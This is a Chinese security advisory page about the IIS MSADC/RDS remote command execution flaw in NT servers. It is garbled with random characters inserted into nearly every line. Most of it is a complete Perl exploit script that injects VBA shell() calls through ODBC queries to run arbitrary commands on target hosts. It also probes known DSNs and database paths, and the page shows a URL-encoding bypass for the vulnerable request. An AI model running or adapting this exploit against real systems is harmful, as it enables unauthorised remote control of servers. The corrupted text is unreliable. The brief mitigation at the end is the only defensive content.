IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K@*m6) ,=>O/!s 涉及程序:
-tx)7KV- Microsoft NT server
qd3B>f 2!dIW5I 描述:
h bj^!0m 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
u
` 9Eh; /eR @&!D ' 详细:
LnZz= 如果你没有时间读详细内容的话,就删除:
8%7H
F: c:\Program Files\Common Files\System\Msadc\msadcs.dll
n<yV]i$ 有关的安全问题就没有了。
_?Jm.nT wSIt"g,% 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
4$.UVW\ ) !ZA.sx 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
R|!4Y` 关于利用ODBC远程漏洞的描述,请参看:
txr!3-Ne'! \@OKB<ra http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zy@
#R ; & A9psc(,& 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
_F^|n}Qbj http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6@o_MtI Jb $PlOQ 这里不再论述。
OAw/ $Ry
NM2YI 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
/[nt=#+
J+?xfg /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:'GTCo$3 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Kr]!BI?z !0Xes0gK0 N!RyncJ #将下面这段保存为txt文件,然后: "perl -x 文件名"
wrsETB
c \"Sqr(~_ #!perl
? dSrY #
2%vwC]A # MSADC/RDS 'usage' (aka exploit) script
o?{VGJH<v #
:g<dwuVO # by rain.forest.puppy
AH=6xtS- #
Y<#7E;aL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
XfbkK )d # beta test and find errors!
h"%6tpV- tGmyTBgx use Socket; use Getopt::Std;
N.eSf getopts("e:vd:h:XR", \%args);
;p\rgam L1)?5D print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>R !^aJ D>*%zz| if (!defined $args{h} && !defined $args{R}) {
y''? yr print qq~
m
U7Ad" Usage: msadc.pl -h <host> { -d <delay> -X -v }
"c\T -h <host> = host you want to scan (ip or domain)
NX)7g}S -d <seconds> = delay between calls, default 1 second
%q>gwq
A -X = dump Index Server path table, if available
NqqLRgMOR' -v = verbose
_,Fwt -e = external dictionary file for step 5
F>*w)6 4~ -ZihEyG?V Or a -R will resume a command session
:sT<<LtI- z
eIBB ~; exit;}
j?z(fs-
Y,E:? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
103^\Av8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k )){1O if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$#Ji=JX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
u> >t"w $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
0HxF#SlKM if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
:^iR&`2~ sOJ"~p if (!defined $args{R}){ $ret = &has_msadc;
}
A#C die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
2~]c`/M3 e`}|*^- print "Please type the NT commandline you want to run (cmd /c assumed):\n"
3Q`'C7Pi . "cmd /c ";
/.WD'*H $in=<STDIN>; chomp $in;
gn(n</\/O $command="cmd /c " . $in ;
3v0)oK QX(:!b if (defined $args{R}) {&load; exit;}
<j,7Z>Rk\x OgfQGGc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
p3^7Hr &try_btcustmr;
>{GC@Cw /h2`?~k+ print "\nStep 2: Trying to make our own DSN...";
O4$:
xjs &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
`hH1rw@7< =}c~BHT print "\nStep 3: Trying known DSNs...";
SKG_P)TnO &known_dsn;
P$4?-AZ 9@vY(k k print "\nStep 4: Trying known .mdbs...";
|y'q`cY &known_mdb;
s
6hj[^O _'j>xK if (defined $args{e}){
A H#e>kU^ print "\nStep 5: Trying dictionary of DSN names...";
+%gh? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4a)qn?<z t9P` nfY print "Sorry Charley...maybe next time?\n";
23+GX&Rp exit;
b|fq63ar; XTeU2I ##############################################################################
f4w| >Xb]n_` sub sendraw { # ripped and modded from whisker
1uy+'2[Z-D sleep($delay); # it's a DoS on the server! At least on mine...
<<;j=Yy({` my ($pstr)=@_;
[9+M/O|Vs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4L5Wa~5\ die("Socket problems\n");
o-)E_X if(connect(S,pack "SnA4x8",2,80,$target)){
iSFgFJG^ select(S); $|=1;
$rjv4e}7 print $pstr; my @in=<S>;
R`$Odplh> select(STDOUT); close(S);
HDy[/7" return @in;
!EKF^n6 } else { die("Can't connect...\n"); }}
:wn![<`3q e dD(s5 ##############################################################################
,[Ytl &$+yXN sub make_header { # make the HTTP request
1y?TyUP my $msadc=<<EOT
Y,&)%Eo< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Z3#3xG5pl User-Agent: ACTIVEDATA
"HYK~V Host: $ip
92} ,A`= Content-Length: $clen
ZGp8$Y>r Connection: Keep-Alive
&'|bZms g Bq$bxuhV ADCClientVersion:01.06
{=R=\Y?r& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
t~bjD V^` J\ 3~ --!ADM!ROX!YOUR!WORLD!
+w}5-8mH&> Content-Type: application/x-varg
v.Q)Obyn Content-Length: $reqlen
TAGqRYgi &_-~kU1K^ EOT
>)VrbPRuA
; $msadc=~s/\n/\r\n/g;
2&Efqy8}DZ return $msadc;}
8\ :T*u3 "kN5AeRg ##############################################################################
q+m&V#FT% -i;#4@^ t
sub make_req { # make the RDS request
)T2Sw z/ my ($switch, $p1, $p2)=@_;
khEHMvVH my $req=""; my $t1, $t2, $query, $dsn;
h<uRlTk W~7q&||;C if ($switch==1){ # this is the btcustmr.mdb query
u|w[b9^r $query="Select * from Customers where City=" . make_shell();
dch(HB}[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
cPtP?)38. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
I=lA7} *J%+zH elsif ($switch==2){ # this is general make table query
q&P" $query="create table AZZ (B int, C varchar(10))";
I/'jRM $dsn="$p1";}
5B@&]-'~ G-;pMFP(? elsif ($switch==3){ # this is general exploit table query
s=KA(4p $query="select * from AZZ where C=" . make_shell();
,Ma$:6`f $dsn="$p1";}
61wGIN2, u/,m2N9cL elsif ($switch==4){ # attempt to hork file info from index server
jNB-FVaT $query="select path from scope()";
,D#~%kq~ $dsn="Provider=MSIDXS;";}
w1iQ#.4K_ 9RAN$\AKy elsif ($switch==5){ # bad query
pRYt.}/K $query="select";
e+&/Tq'2 $dsn="$p1";}
aFl(K\ EnfSVG8kB8 $t1= make_unicode($query);
&{7%VsTB $t2= make_unicode($dsn);
W}T$ Z $req = "\x02\x00\x03\x00";
*d)B4qG $req.= "\x08\x00" . pack ("S1", length($t1));
;%Z)$+Z_)< $req.= "\x00\x00" . $t1 ;
3 i>uKU1 $req.= "\x08\x00" . pack ("S1", length($t2));
LdRLKE<'e $req.= "\x00\x00" . $t2 ;
DuCq16'0T $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
:MJTmpq, return $req;}
*DU86JL` O*c+TiTb ##############################################################################
G`TO[p]q L]9*^al sub make_shell { # this makes the shell() statement
'5{gWV` return "'|shell(\"$command\")|'";}
/oh[Nu1D hL&z"_` ##############################################################################
jg 2>=} 8vchLl# sub make_unicode { # quick little function to convert to unicode
(Kx3:gs my ($in)=@_; my $out;
5)mn for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
V}Oxz04 return $out;}
/J5wwQ
(: LnM+,cBz ##############################################################################
E*k=8$Y G0<m3 Up sub rdo_success { # checks for RDO return success (this is kludge)
CbwQ'c$} my (@in) = @_; my $base=content_start(@in);
C~kw{g+| if($in[$base]=~/multipart\/mixed/){
Pc1vf] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Y2Y/laD return 0;}
?L7z\b"_~ q?JP\_o: ##############################################################################
hXZk$a' S{&; sub make_dsn { # this makes a DSN for us
_W&.{
7 my @drives=("c","d","e","f");
(?oK+,v?L print "\nMaking DSN: ";
+jQW 6k# foreach $drive (@drives) {
.p <!2 print "$drive: ";
3rOv j&2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
f`vB$r> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
])vM# f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
z,$^|'pP $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ofRe4
*\j return 0 if $2 eq "404"; # not found/doesn't exist
UDGVq S!,E if($2 eq "200") {
gh3_})8c foreach $line (@results) {
8BBuYY{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
$FS
j^v] } return 0;}
ys09W+B7 ~
M@8O ##############################################################################
T+Du/ERL *<]ulR2 sub verify_exists {
Fb.wm my ($page)=@_;
UG 9uNgzQ/ my @results=sendraw("GET $page HTTP/1.0\n\n");
%nT!u!# return $results[0];}
0<nk>o iCa#OQ ##############################################################################
jIg]?4bW[ @2Z{en? sub try_btcustmr {
}eSaF@. my @drives=("c","d","e","f");
CO-9-sQx
my @dirs=("winnt","winnt35","winnt351","win","windows");
AvH^9zEE( qy/xJ>: foreach $dir (@dirs) {
r m\] print "$dir -> "; # fun status so you can see progress
UJ
n3sZ<} foreach $drive (@drives) {
PkMN@JS print "$drive: "; # ditto
`Z0FQ( r_ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
sYYNT* $reqlenlen=length( "$reqlen" );
"! m6U#^ $clen= 206 + $reqlenlen + $reqlen;
$CRu?WUS]' 9x23## s my @results=sendraw(make_header() . make_req(1,$drive,$dir));
xrf z-"n4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
S sGb; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
_-$(=`8|<{ 5$d>:" > ##############################################################################
Z<@0~t_:?p -LhO
</l sub odbc_error {
J<yt/V] my (@in)=@_; my $base;
o7;lR? my $base = content_start(@in);
lvY[E9I0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
W 2&o'(P\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f; w\k7 # $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DS%~'S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n
9PYZxy return $in[$base+4].$in[$base+5].$in[$base+6];}
0*]n#+= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
l|9'M'a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
J;|a)Nw $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%68'+qz I() =Ufs5z ##############################################################################
L `NY^ =HMa<"-8 sub verbose {
l0 =[MXM4 my ($in)=@_;
}@x!r=O)I return if !$verbose;
mX 3p print STDOUT "\n$in\n";}
_Z7`tUS-j ;`Nh@*_ ##############################################################################
h?[|1.lJx( ~-R%m sub save {
mC2K &'[ my ($p1, $p2, $p3, $p4)=@_;
~(nc<M[ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
76H>ST@G| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
>Q$ph= close OUT;}
|;:g7eb V56WgOBxz ##############################################################################
ls7eypKR JTIt!E}P sub load {
Ps!umV my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TZ&X0x8 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Jvc:)I1NE7 @p=<IN>; close(IN);
0vETg'r $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
vjjVZ $target= inet_aton($ip) || die("inet_aton problems");
FFa =/XB" print "Resuming to $ip ...";
TZ *>MySiF $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]
# VHx if($p[1]==1) {
@A4$k
dJ2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<O5WY37"q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
sSd/\Ap my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
w4(L@1 if (rdo_success(@results)){print "Success!\n";}
FA%_jM else { print "failed\n"; verbose(odbc_error(@results));}}
E\|nP~;~F9 elsif ($p[1]==3){
+F-EgF+J if(run_query("$p[3]")){
b7XB l print "Success!\n";} else { print "failed\n"; }}
4
km^S9 elsif ($p[1]==4){
2n)?)w]!M if(run_query($drvst . "$p[3]")){
p^CTHk_| print "Success!\n"; } else { print "failed\n"; }}
#x;,RPw5 exit;}
84vd~Cf9 aaP_^m O ##############################################################################
NV7k@7_{B !_vxbfZO sub create_table {
SE'!j]6jI my ($in)=@_;
Z\?2"4H $reqlen=length( make_req(2,$in,"") ) - 28;
N_IKH)
$reqlenlen=length( "$reqlen" );
D|)a7_ $clen= 206 + $reqlenlen + $reqlen;
NMe{1RM my @results=sendraw(make_header() . make_req(2,$in,""));
%xN${4)6 return 1 if rdo_success(@results);
v\GVy[Qyv my $temp= odbc_error(@results); verbose($temp);
H4s~=iB return 1 if $temp=~/Table 'AZZ' already exists/;
gVrQAcJj return 0;}
J$Z=`=]t+ ki?h7 ##############################################################################
1rJ2}d\y #F`A(n sub known_dsn {
=*&[K^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
l|=4FIMD my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
U@M3.[jw "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Hs*["zFc "banner", "banners", "ads", "ADCDemo", "ADCTest");
T]\c2U TP"cEfs x foreach $dSn (@dsns) {
3w</B-|nQ print ".";
; h\T7pwwb next if (!is_access("DSN=$dSn"));
]I [~0PCSX if(create_table("DSN=$dSn")){
@(Y!$><Is print "$dSn successful\n";
6$6QAW0+f if(run_query("DSN=$dSn")){
;eN
^'/4A print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&W,jR|B
print "Something's borked. Use verbose next time\n";}}} print "\n";}
yEq7ueJ' TG%B:^Yz! ##############################################################################
;%9]G|*{ T1]?E]m{ sub is_access {
6Q^~O*cw my ($in)=@_;
V&w2pp0 $reqlen=length( make_req(5,$in,"") ) - 28;
7~ PL8 $reqlenlen=length( "$reqlen" );
2 %dL96 $clen= 206 + $reqlenlen + $reqlen;
&}r"Z?f) my @results=sendraw(make_header() . make_req(5,$in,""));
fes s6=k my $temp= odbc_error(@results);
b,Oh8O;> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
.qgUD return 0;}
Zz0e4C x;17}KV ##############################################################################
q0iJy@?A maXg(Lu sub run_query {
>#w;67he2 my ($in)=@_;
ZEAUoC1E1 $reqlen=length( make_req(3,$in,"") ) - 28;
JVYH b 60Z $reqlenlen=length( "$reqlen" );
;f=m+QXU $clen= 206 + $reqlenlen + $reqlen;
TIWR[r1! my @results=sendraw(make_header() . make_req(3,$in,""));
(k?HT'3) return 1 if rdo_success(@results);
G3~`]qf
my $temp= odbc_error(@results); verbose($temp);
[ QiG0D_'= return 0;}
b6bs . f#\YX
tR,k ##############################################################################
&EfQ%r}C l~6K}g? sub known_mdb {
%GHGd'KO& my @drives=("c","d","e","f","g");
T#))_aC my @dirs=("winnt","winnt35","winnt351","win","windows");
wY8:j my $dir, $drive, $mdb;
{_QdB;VwH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1u
9hA~rj '+`[)w # this is sparse, because I don't know of many
c+ oi8G my @sysmdbs=( "\\catroot\\icatalog.mdb",
>?, Zn "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
T3X'73M "\\system32\\certmdb.mdb",
+(W1x
C0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
FJ:^pROpm w&q[%(G_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
!sb r!Qt "\\cfusion\\cfapps\\forums\\forums_.mdb",
UFG_ZoD+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
uu9M}]mDl "\\cfusion\\cfapps\\security\\realm_.mdb",
# ]7Lieh[5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*\sPHz. "\\cfusion\\database\\cfexamples.mdb",
;2p+i/sVj "\\cfusion\\database\\cfsnippets.mdb",
tAdE<).! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_)M,p@!?=h "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
=dmr,WE "\\cfusion\\brighttiger\\database\\cleam.mdb",
T5(S2^)o "\\cfusion\\database\\smpolicy.mdb",
iwotEl0*{ "\\cfusion\\database\cypress.mdb",
,`@pi@<"# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7?$?Yu "\\website\\cgi-win\\dbsample.mdb",
j/FLEsU!R "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
={qcDgn~C "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c0qp-=^&. ); #these are just
-8Jw_ foreach $drive (@drives) {
CM;b_E)9)f foreach $dir (@dirs){
=p+y$ foreach $mdb (@sysmdbs) {
!%iHJwS# print ".";
E
TT46%Y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(W
~K1] print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ZK5nN9` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
S+ kq1R print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1E+12{~m"i } else { print "Something's borked. Use verbose next time\n"; }}}}}
g!'R}y > |$]=e,Z foreach $drive (@drives) {
l<6u@,%s
foreach $mdb (@mdbs) {
@(3F4Z.i%. print ".";
>f(?Mxh2 if(create_table($drv . $drive . $dir . $mdb)){
T @ c~ql print "\n" . $drive . $dir . $mdb . " successful\n";
0j.K?]f)h if(run_query($drv . $drive . $dir . $mdb)){
XKoY!Y\ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
rUiYR]mV } else { print "Something's borked. Use verbose next time\n"; }}}}
Lc*>sOm9 }
^*K=wE}AG r|Ui1f5 ##############################################################################
(}: s[cs {& o^p! sub hork_idx {
t" .Ytz> print "\nAttempting to dump Index Server tables...\n";
BVQy@:K/ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
xa>| k>I $reqlen=length( make_req(4,"","") ) - 28;
=>jp\A $reqlenlen=length( "$reqlen" );
ekM?
'9ez $clen= 206 + $reqlenlen + $reqlen;
YuX JT* my @results=sendraw2(make_header() . make_req(4,"",""));
MdHm%Vx if (rdo_success(@results)){
JU 9GJ" my $max=@results; my $c; my %d;
22gh!F%) for($c=19; $c<$max; $c++){
j[>cv;h
; $results[$c]=~s/\x00//g;
* {g3ia $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
3H,E8>Vd $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d2rs+- $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
asT-=p_ 0. $d{"$1$2"}="";}
oQ!M+sRmF foreach $c (keys %d){ print "$c\n"; }
~zVxprEf_ } else {print "Index server doesn't seem to be installed.\n"; }}
hAGHb+: YH&=cI@ ##############################################################################
z/@_?01T= wQ}r/2n|^ sub dsn_dict {
y.r N( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
uO?+vYAN while(<IN>){
5xQ-f $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
']_2@<XW) next if (!is_access("DSN=$dSn"));
g3R(,IH if(create_table("DSN=$dSn")){
S;|:ci<[= print "$dSn successful\n";
TT$Ao if(run_query("DSN=$dSn")){
?#xl3Z ;I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_Nx
/<isdL print "Something's borked. Use verbose next time\n";}}}
9!FX*}dC print "\n"; close(IN);}
$.G 7Vt / f%mYL ##############################################################################
yI0bSu<j- jc^QWK*q sub sendraw2 { # ripped and modded from whisker
1b,a3w(:1 sleep($delay); # it's a DoS on the server! At least on mine...
Cux(v8=n my ($pstr)=@_;
8{ zX= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`Q]N]mK die("Socket problems\n");
2*#|t: (c if(connect(S,pack "SnA4x8",2,80,$target)){
f5jl$H. print "Connected. Getting data";
JF~i.+{h open(OUT,">raw.out"); my @in;
u-_r2U select(S); $|=1; print $pstr;
Hbm 4oYN while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
PwY/VGT close(OUT); select(STDOUT); close(S); return @in;
,:_c-d# } else { die("Can't connect...\n"); }}
jHLs
5% Y\|#Lu>B ##############################################################################
&C 9hT 3h@]cWp sub content_start { # this will take in the server headers
FDHW'OP4 my (@in)=@_; my $c;
X>q`F;W for ($c=1;$c<500;$c++) {
gI+8J.AG= if($in[$c] =~/^\x0d\x0a/){
FG? Mc'r& if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
la!]Y-s)'4 else { return $c+1; }}}
Y.:R-|W return -1;} # it should never get here actually
h2l;xt ~9X^3.nI ##############################################################################
@AyteHK
e#Tv5O sub funky {
d2\!tJm my (@in)=@_; my $error=odbc_error(@in);
Z6!Up1 if($error=~/ADO could not find the specified provider/){
B#sCB&( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
)6|L]'dsZ exit;}
qi-XNB`b if($error=~/A Handler is required/){
m|*B0GW print "\nServer has custom handler filters (they most likely are patched)\n";
k,h602( exit;}
d{z[46> if($error=~/specified Handler has denied Access/){
jhu
&Wh print "\nServer has custom handler filters (they most likely are patched)\n";
"c^! LV exit;}}
c`6c)11K Fs+tcr/\[ ##############################################################################
4kOO3[r
#]#9Xq sub has_msadc {
b)wcGBS my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
C]^Ep my $base=content_start(@results);
i'~-\F! return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xR7ZqTcw return 0;}
Gnc`CyN:H sdp&D@ ########################
EF/d7 &@=Jm
/5 }=R]<`Sj.j 解决方案:
\#sD`O 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%nA})nA7= 2、移除web 目录: /msadc